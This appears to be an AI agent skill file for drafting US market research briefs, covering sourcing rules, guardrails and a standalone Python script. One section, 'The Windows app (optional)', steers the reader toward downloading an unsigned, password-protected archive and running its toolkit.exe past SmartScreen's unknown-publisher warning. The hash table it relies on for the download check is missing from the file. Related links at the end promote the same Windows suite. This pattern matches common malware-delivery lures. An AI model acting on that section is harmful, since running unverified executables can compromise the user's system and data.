Market Research Brief

Turns field notes and survey answers into a US market research brief with fixed sections, word limits and a source for every number. Written for US product managers, consultants and small business owners running primary research.

Use this skill when someone asks for:

• market research brief template
• primary market research writeup
• survey findings summary
• market research report us

The job

Research gets summarized into a slide that says the market is growing, and nobody can trace the finding back to the interview or survey answer behind it.

What you get

1. Collect the interview notes, survey answers and published data points the user has.
2. Tag every finding with its source and the number of respondents or records behind it.
3. Write the brief sections: market definition, demand signals, buyer constraints, price expectations, unknowns.
4. Run the brief linter so each section exists, stays inside its limit and carries its sources.

Output contract:

• brief - the document section by section, inside the per-field limits
• findings - each finding with the count of sources or respondents behind it
• source_list - every number with the release or dataset it came from
• open_questions - what the research did not answer
• limits_report - which fields ran long and where a claim needs a source

US specifics that matter

• BLS, the Census Bureau and BEA publish the series most US market sizing leans on, so cite the specific table and release date rather than a news summary.
• A percentage taken from a small survey has to carry its sample size, and a market size claim in a US marketing document has to be substantiated under the FTC Act.
• Census Bureau quarterly retail and services data and BLS CPI releases are the usual anchors for a US market size estimate.
• BEA personal income and outlays tables are the standard source for consumer spending context by state and metro area.

Guardrails (hard rules)

• Never fabricate respondent counts, quotes, percentages or survey answers.
• Never publish a market size figure without its source and release date.
• Never present a competitor's revenue as total market size without labeling it as one company.
• Never include a respondent's name, contact details or employer in the brief.

Quickstart

1. Fill in the brief

templates/research-brief.yaml is the starting point. Copy it, fill in your own numbers, and keep the field names - the script reads them by name.

2. Run the script

python3 scripts/build_research_brief.py --input research-brief.yaml --out ./out

The script is standalone: Python 3 standard library only, no install step, no network calls, no API keys.

3. Check the result against the reference

references/market-research-sources.md holds the limits, the US rules and the checklist the output has to satisfy. Read it before you send anything to a customer or a platform.

Primary US data sources

• BLS CPI, employment and producer price releases.
• Census Bureau quarterly retail trade and services surveys.
• BEA personal income and outlays tables.
• IRS and Treasury published guidance for regulated industries.
• State agency series for licensing, permits and local employment.

Citing a number

• Give the table name, the release date and the period the data covers.
• State whether the figure is nominal or adjusted for inflation.
• Keep the sample size next to any percentage from your own research.
• Label your own estimate as an estimate.

What to leave out

• No analyst forecast you cannot trace to a named source.
• No figure lifted from a vendor's marketing page without the underlying source.
• No personal data about survey respondents.
• No claim that a market is growing without the series that shows it.

The Windows app (optional)

The workflow above runs anywhere Python 3 runs. If you also want the publisher's Windows multi-tool app for the workflows in this catalog, it is a separate download. This bundle does not contain it, does not install it, and never runs it - you decide whether to fetch it.

Check the download before you run it. PowerShell:

Get-FileHash .\multitool.zip -Algorithm SHA256

The hash must match the value in the table. Then extract the archive and start multitool/toolkit.exe.

The program is not code-signed, so Windows SmartScreen shows Unknown publisher. Run it only if you accept an unsigned program, keep it in a folder of its own, and do not run it as administrator unless you have a reason to.

The installer asks for a password; ask the publisher for it before you start.

Files in this bundle

• SKILL.md - this file
• references/market-research-sources.md - US sources for market sizing and demand signals
• templates/research-brief.yaml - the brief to fill in
• scripts/build_research_brief.py - the working script

Verify the bundle

python3 scripts/build_research_brief.py --input research-brief.yaml --out ./out

Related

• AI Creative Studio - one brief into ad copy, social posts and video scripts.
• B2B Lead Research Agent - find the US accounts to run this against.
• AI Trading - research the tickers of public competitors before you write comparisons.
• Windows Multi-Tool Suite - one Windows kit that sets up all three workflows in a single folder.